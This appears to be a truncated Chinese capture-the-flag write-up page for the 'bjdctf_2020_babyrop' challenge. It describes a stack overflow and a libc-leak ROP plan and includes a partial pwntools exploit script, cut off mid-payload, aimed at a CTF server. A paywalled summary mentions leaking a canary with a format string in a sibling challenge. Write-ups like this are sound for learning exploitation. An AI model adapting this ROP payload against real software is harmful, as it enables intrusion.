bjdctf_2020_babyrop
先checksec

打开ida正常查看函数
打开init函数发现puts函数
然后进入vuln函数 存在栈溢出

没有看到后门函数应该是libc leak+rop
代码如下
from pwn import*
from LibcSearcher import*
p=remote('node3.buuoj.cn',29901)
#p=process('')
elf=ELF('bjdctf_2020_babyrop')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x400733
pop_rsi=0x400731
main=0x4006ad
payload='a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64

本文详细介绍了BJDCTF 2020中两道题目——bjdctf_2020_babyrop和bjdctf_2020_babyrop2的漏洞利用过程。通过checksec检查安全特性,发现存在栈溢出。在bjdctf_2020_babyrop2中,由于开启canary,需要找到payload长度限制并泄露canary的值。通过%n$p和%p的组合,确定了输入点在栈上的相对位置,并找到了偏移量6,最终使用%7$p泄露canary,为rop链的构造打下基础。
最低0.47元/天 解锁文章
493

被折叠的 条评论
为什么被折叠?



